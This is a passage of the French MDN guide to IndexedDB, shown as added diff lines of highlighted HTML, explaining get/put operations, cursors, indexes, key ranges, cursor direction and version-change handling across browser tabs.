+<pre class="brush: js  language-js"><code class="language-js">db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">"444-44-4444"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Name for SSN 444-44-4444 is "</span> <span class="operator token">+</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">.</span>name<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<div>Vous voyez comment ça fonctionne ? Comme il n'y a qu'un seul objet de stockage, vous pouvez éviter de passer une liste d'objets dont vous avez besoin dans votre transaction, et juste passer le nom comme une chaîne de caractères. Aussi, nous faisons seulement une lecture de la base, donc nous n'avons pas besoin d'une transaction <code>"readwrite"</code>. Appeler une <code>transaction()</code> sans spécifier de mode nous donne une transaction <code>"readonly"</code>. Une autre subtilité ici est que nous n'enregistrons pas l'objet de notre requête dans une variable. Comme l’évènement DOM a la requête comme cible, vous pouvez utiliser l'évènement pour récupérer la propriété <code>result</code>.</div>
+
+<div></div>
+
+<p>Vous pouvez accélérer l’accès à vos données  en limitant la portée et le mode de la transaction. Voici deux astuces :</p>
+
+<ul>
+ <li>Lors de la définition de la <a href="https://developer.mozilla.org/fr/docs/IndexedDB/Using_IndexedDB$edit#scope">scope</a> <em>(portée)</em>, spécifiez seulement l’objet de stockage dont vous avez besoin. De cette manière, vous pouvez avoir de multiples opérations simultanées sans qu’elles se chevauchent.</li>
+ <li>Spécifier une transaction en mode readwrite uniquement lorsque c’est nécessaire. Vous pouvez avoir de multiples opérations simultanées en lecture seule, mais vous ne pouvez avoir qu’une transaction "readwrite" <em>(lecture/écriture)</em> sur un objet de stockage. Pour en savoir plus, voir la définition relative aux <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_transaction">transactions in the Basic Concepts article</a>.</li>
+</ul>
+
+<h3 id="Mettre_à_jour_une_entrée_dans_la_base_de_données">Mettre à jour une entrée dans la base de données</h3>
+
+<p>Maintenant que nous avons récupéréré quelques données, les mettre à jour et en insérer est assez simple. Mettons à jour l’exemple précédent :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> objectStore <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span><span class="punctuation token">[</span><span class="string token">"customers"</span><span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="string token">"readwrite"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> request <span class="operator token">=</span> objectStore<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">"444-44-4444"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // Gestion des erreurs!
+</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+request<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // On récupère l'ancienne valeur que nous souhaitons mettre à jour
+</span>  <span class="keyword token">var</span> data <span class="operator token">=</span> request<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+
+ <span class="comment token"> // On met à jour ce(s) valeur(s) dans l'objet
+</span>  data<span class="punctuation token">.</span>age <span class="operator token">=</span> <span class="number token">42</span><span class="punctuation token">;</span>
+
+ <span class="comment token"> // Et on remet cet objet à jour dans la base
+</span>  <span class="keyword token">var</span> requestUpdate <span class="operator token">=</span> objectStore<span class="punctuation token">.</span><span class="function token">put<span class="punctuation token">(</span></span>data<span class="punctuation token">)</span><span class="punctuation token">;</span>
+   requestUpdate<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token"> // Faire quelque chose avec l’erreur
+</span>   <span class="punctuation token">}</span><span class="punctuation token">;</span>
+   requestUpdate<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token"> // Succès - la donnée est mise à jour !
+</span>   <span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<div>Ici, nous avons créé une variable <code>objectStore</code> et nous avons recherché un enregistrement d’un client, identifié par la valeur ssn (<code>444-44-4444</code>). Nous avons ensuite mis le résultat dans une variable (<code>data</code>), mis à jour la propriété <code>age</code> de cet objet, puis créé une deuxième requête (<code>requestUpdate</code>) pour mettre l'enregistrement du client dans l'<code>objectStore</code>, en écrasant la valeur précédente.</div>
+
+<div class="note">
+<p><strong>Note</strong>: dans ce cas, nous avons eu à spécifier une transaction <code>readwrite</code> puisque nous voulions écrire dans la base, et pas seulement la lire.</p>
+</div>
+
+<h3 id="Utiliser_un_curseur">Utiliser un curseur</h3>
+
+<p>Utiliser <code>get()</code> nécessite de connaître la clé que vous souhaitez récupérer. Si vous voulez parcourir toutes les valeurs de l’objet de stockage, alors vous devez utiliser un curseur. Voici comment ça marche :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> objectStore <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span><span class="string token">"customers"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+objectStore<span class="punctuation token">.</span><span class="function token">openCursor<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Name for SSN "</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>key <span class="operator token">+</span> <span class="string token">" is "</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>value<span class="punctuation token">.</span>name<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"No more entries!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>La fonction <code>openCursor()</code> prend en compte plusieurs arguments. En premier, vous pouvez spécifier une plage de résultats à récupérer en utilisant un objet  "key range" que nous allons voir dans une minute. En deuxième, vous pouvez spécifier la direction vers laquelle vous souhaitez itérer. Dans l’exemple ci-dessus, nous avons itéré tous les objets dans l’ordre ascendant. Le "callback" <em>(rappel)</em> de réussite pour les curseurs est un peu spécial. L'objet cursor lui-même est le <code>result</code> <em>(résutat)</em> de la requête (au-dessus, nous utilisons le raccourci <code>event.target.result</code>). Puis la clé et valeur courante peuvent être trouvées dans les propriétés <code>key</code><em>(clé)</em>  et <code>value</code> <em>(valeur)</em> de l’objet cursor. Si vous souhaitez continuer, vous devez appeler <code>continue()</code> sur le curseur. Lorsque vous avez atteint la fin des données (ou s’il n’y a plus d’entrées qui correspondent à votre requête <code>openCursor()</code> ) , vous aurez toujours votre callback  success, mais la propriété <code>result</code> sera <code>undefined</code>.</p>
+
+<p>Une utilisation classique avec les curseurs est de récupérer tous les objets dans un objet de stockage et de les mettre dans un tableau, comme ceci :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> customers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+objectStore<span class="punctuation token">.</span><span class="function token">openCursor<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    customers<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span>cursor<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Got all customers: "</span> <span class="operator token">+</span> customers<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: Mozilla a aussi implémenté <code>getAll()</code> pour gérer ce cas (et <code>getAllKeys()</code>, <span class="short_text" id="result_box" lang="fr"><span>qui est actuellement caché derrière la préférence</span></span> <code>dom.indexedDB.experimental</code>  dans about:config) . ceux-ci ne font pas partie d' IndexedDB standard, et peuvent disparaître dans le futur. Nous les avons inclus partceque nous pensons qu'ils sont utiles. Le code suivant fait exactement la même chose que ci-dessus :</p>
+
+<pre class="brush: js  language-js"><code class="language-js">objectStore<span class="punctuation token">.</span><span class="function token">getAll<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Got all customers: "</span> <span class="operator token">+</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Il y a un coût de performance associé avec la recherche de la propriété <code>value</code> du curseur, parce que l'objet est créé paresseusement. Quand vous utilisez <code>getAll()</code> par exemple, Gecko doit créer tous les objets à la fois. Si vous êtes seulement intéressé par la lecture de chaque clé, pour l'instance, il est beaucoup plus efficace d'utiliser un curseur que <code>getAll()</code>. <span id="result_box" lang="fr"><span>Si vous essayez d'obtenir un tableau de tous les objets d'un objet de stockage, utilisez</span></span> <code>getAll()</code>.</p>
+</div>
+
+<h3 id="Utiliser_un_index">Utiliser un index</h3>
+
+<p><span id="result_box" lang="fr"><span>Le stockage des données des clients utilisant le SSN comme clé est logique puisque le SSN identifie un individu unique.</span> <span>(Que ce soit une bonne idée pour la vie privée est une question différente, et en dehors du champ de cet article). Si vous devez rechercher un client par son nom, vous devrez toutefois faire itérer sur toutes les clés SSN dans la base de données jusqu'à ce que vous</span> <span>trouviez la bonne.</span> <span>La recherche de cette manière serait très lente, alors, vous pouvez utiliser un index.</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// D'abord, assurez-vous de créer un index dans request.onupgradeneeded:</span>
+<span class="comment token">// objectStore.createIndex("name", "name");</span>
+<span class="comment token">// Autrement, vous obtiendrez une DOMException.</span>
+
+<span class="keyword token">var</span> index <span class="operator token">=</span> objectStore<span class="punctuation token">.</span><span class="function token">index</span><span class="punctuation token">(</span><span class="string token">"name"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+index<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">"Donna"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"Donna's SSN is "</span> <span class="operator token">+</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">.</span>ssn<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Le "name" du curseur n'est pas unique, <span class="short_text" id="result_box" lang="fr"><span>donc il pourrait y avoir plus d'une entrée avec le</span></span> <code>name</code> attribué à  <code>"Donna"</code>. <span id="result_box" lang="fr"><span>Dans ce cas, vous obtenez toujours celui qui a la valeur clé la plus basse</span></span> .</p>
+
+<p>Si vous avez besoin d'accèder à toutes les entrées avec un <code>name</code> donné, vous pouvez utiliser un curseur. Vous pouvez ouvrir deux types différents de curseurs sur les index. Un curseur normal situe la propriété index de l'objet dans l'objet de stockage. Un curseur de clés situe la propriété index des clés utilisées pour stocker l'objet dans l'objet de stockage. Les différences sont illustrées ici :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// Utilisation d'un curseur normal pour saisir tous les enregistrements des objets client
+</span>index<span class="punctuation token">.</span><span class="function token">openCursor<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // cursor.key est un nom, comme "Bill", et cursor.value est l'objet entier.
+</span>    <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Name: "</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>key <span class="operator token">+</span> <span class="string token">", SSN: "</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>value<span class="punctuation token">.</span>ssn <span class="operator token">+</span> <span class="string token">", email: "</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>value<span class="punctuation token">.</span>email<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Utilisation d'un curseur de clés pour saisir les clés des enregistrements des objets client
+</span>index<span class="punctuation token">.</span><span class="function token">openKeyCursor<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // cursor.key est un nom, comme "Bill", et cursor.value est le SSN.
+</span>   <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>Pas moyen d'obtenir directement le reste de l'objet stocké</span></span> <code class="language-js"><span class="comment token">.
+</span>    <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Name: "</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>key <span class="operator token">+</span> <span class="string token">", SSN: "</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Spécifier_lintervalle_et_la_direction_du_curseur">Spécifier l'intervalle et la direction du curseur</h3>
+
+<p>Si vous souhaitez limiter l'intervalle de valeurs que vous voyez dans un curseur, vous pouvez utiliser un objet <code>IDBKeyRange</code> et le donner comme premier argument à <code>openCursor()</code> ou <code>openKeyCursor()</code> . Vous pouvez créer un intervalle de clés qui n'autorise qu'une seule clé, ou qui a des limites inférieure et supérieure, ou qui a des bornes inférieure et supérieure. La limite peut être "closed" <em>(fermée)</em> (c'est-à-dire que l'intervalle de clés comprend les valeurs données) ou "open" <em>(ouverte)</em> (c'est-à-dire que la plage de clés n'inclut pas les valeurs données. Voici comment cela fonctionne :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// Correspond seulement à "Donna"
+</span><span class="keyword token">var</span> singleKeyRange <span class="operator token">=</span> IDBKeyRange<span class="punctuation token">.</span><span class="function token">only<span class="punctuation token">(</span></span><span class="string token">"Donna"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Correspond à n'importe quoi contenant "Bill", y compris "Bill"
+</span><span class="keyword token">var</span> lowerBoundKeyRange <span class="operator token">=</span> IDBKeyRange<span class="punctuation token">.</span><span class="function token">lowerBound<span class="punctuation token">(</span></span><span class="string token">"Bill"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Correspond à n'importe quoi contenant "Bill", mais pas "Bill"
+</span><span class="keyword token">var</span> lowerBoundOpenKeyRange <span class="operator token">=</span> IDBKeyRange<span class="punctuation token">.</span><span class="function token">lowerBound<span class="punctuation token">(</span></span><span class="string token">"Bill"</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Correspond à n'importe quoi, mais  "Donna" exclus.
+</span><span class="keyword token">var</span> upperBoundOpenKeyRange <span class="operator token">=</span> IDBKeyRange<span class="punctuation token">.</span><span class="function token">upperBound<span class="punctuation token">(</span></span><span class="string token">"Donna"</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Correspond à n'importe quoi compris entre "Bill" et "Donna", mais "Donna" exclus.
+</span><span class="keyword token">var</span> boundKeyRange <span class="operator token">=</span> IDBKeyRange<span class="punctuation token">.</span><span class="function token">bound<span class="punctuation token">(</span></span><span class="string token">"Bill"</span><span class="punctuation token">,</span> <span class="string token">"Donna"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Pour utiliser un des intervalles de clés, placez le en premier argument de openCursor()/openKeyCursor()
+</span>index<span class="punctuation token">.</span><span class="function token">openCursor<span class="punctuation token">(</span></span>boundKeyRange<span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // Faire quelque chose avec la sélection.
+</span>    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Parfois, <span id="result_box" lang="fr"><span>vous voudrez peut-être itérer dans l'ordre décroissant plutôt que dans l'ordre croissant (la direction par défaut pour tous les curseurs).</span> <span>Le changement de direction est réalisé en passant</span></span> <code>prev</code> <span lang="fr"><span> à la fonction </span></span> <code>openCursor()</code> <span lang="fr"><span> antérieure comme second argument :</span></span></p>
+
+<pre class="brush: js  language-js"><code class="language-js">objectStore<span class="punctuation token">.</span><span class="function token">openCursor<span class="punctuation token">(</span></span>boundKeyRange<span class="punctuation token">,</span> <span class="string token">"prev"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // Faire quelque chose avec les entrées.
+</span>    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Si vous souhaitez simplement spécifier un changement de direction, mais ne pas limiter les résultats, vous pouvez simplement passer "null" comme premier argument :</span></span></p>
+
+<pre class="brush: js  language-js"><code class="language-js">objectStore<span class="punctuation token">.</span><span class="function token">openCursor<span class="punctuation token">(</span></span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">"prev"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // Faire quelque chose avec les entrées.
+</span>    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Étant donné que l'index "</span></span>name<span lang="fr"><span>" n'est pas unique, il peut y avoir plusieurs entrées où le </span></span> <code>name</code> <span lang="fr"><span> est le même.</span> <span>Notez qu'une telle situation ne peut pas se produire avec les objets stockés car la clé doit toujours être unique.</span> <span>Si vous souhaitez filtrer les doublons pendant l'itération du curseur sur les index, vous pouvez passer </span></span> <code>nextunique</code> <span lang="fr"><span> (ou </span></span> <code>prevunique</code> <span lang="fr"><span> si vous revenez en arrière) comme paramètre de direction.</span> <span>Lorsque nextunique ou prevunique sont utilisés, l'entrée avec la clé la plus basse est toujours celle retournée.</span></span></p>
+
+<pre class="brush: js  language-js"><code class="language-js">index<span class="punctuation token">.</span><span class="function token">openKeyCursor<span class="punctuation token">(</span></span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">"nextunique"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> cursor <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token"> // Faire quelque chose avec les entrées.
+</span>    cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Voyez "<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBCursor?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBCursor#Constants">IDBCursor Constants</a>" <span class="short_text" id="result_box" lang="fr"><span>pour les arguments de direction valides</span></span>.</p>
+
+<h2 id="La_version_change_alors_quune_application_Web_est_ouverte_dans_un_autre_onglet"><span id="result_box" lang="fr"><span>La version change alors qu'une application Web est ouverte dans un autre onglet</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Lorsque votre application Web change de telle sorte qu'une modification de version est nécessaire pour votre base de données, vous devez considérer ce qui se passe si l'utilisateur a l'ancienne version de votre application ouverte dans un onglet, puis charge la nouvelle version de votre application dans une autre</span> <span>.</span> <span>Lorsque vous appelez </span></span> <code>open()</code> <span lang="fr"><span> avec une version plus grande que la version actuelle de la base de données, toutes les autres bases de données ouvertes doivent reconnaître explicitement la demande avant de commencer à modifier la base de données (un événement </span></span> <code>onblocked</code>  <em>(bloqué)</em><span lang="fr"><span> est déclenché jusqu'à ce qu'elles soient fermées ou rechargées).</span> <span>Voici comment cela fonctionne :</span></span></p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> openReq <span class="operator token">=</span> mozIndexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+openReq<span class="punctuation token">.</span>onblocked <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // </span></code> <span id="result_box" lang="fr"><span>Si un autre onglet est chargé avec la base de données, il doit être fermé</span></span> <code class="language-js"><span class="comment token">
+</span> <span class="comment token"> // avant que nous puissions continuer.
+</span>  <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"Veuillez fermer tous les ongles ouverts sur ce site!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+openReq<span class="punctuation token">.</span>onupgradeneeded <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // Toutes les autres bases de données ont été fermées. Tout régler.
+</span>  db<span class="punctuation token">.</span><span class="function token">createObjectStore<span class="punctuation token">(</span></span><span class="comment token">/* ... */</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">useDatabase<span class="punctuation token">(</span></span>db<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+openReq<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> db <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+  <span class="function token">useDatabase<span class="punctuation token">(</span></span>db<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">return</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">useDatabase<span class="punctuation token">(</span></span>db<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>Assurez-vous d'ajouter un gestionnaire pour être averti si une autre page demande</span></span> <code class="language-js"><span class="comment token">
+</span> <span class="comment token"> // un changement de version. Nous devons fermer la base de données. </span></code>
+<code class="language-js"><span class="comment token">  // </span></code><span lang="fr"><span>Cela permet à l'autre page de mettre à niveau la base de données.</span></span> <code class="language-js"><span class="comment token">
+</span> <span class="comment token"> // </span></code> <span id="result_box" lang="fr"><span>Si vous ne le faites pas, la mise à niveau ne se produira que lorsque l'utilisateur fermera l'onglet</span></span> <code class="language-js"><span class="comment token">.
+</span>  db<span class="punctuation token">.</span>onversionchange <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    db<span class="punctuation token">.</span><span class="function token">close<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="function token">alert<span class="punctuation token">(</span></span><span class="string token">"A new version of this page is ready. Please reload!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+ <span class="comment token"> // </span></code> <span class="short_text" id="result_box" lang="fr"><span>Faire quelque chose avec la base de données</span></span> <code class="language-js"><span class="comment token">.
+</span><span class="punctuation token">}</span></code></pre>
+
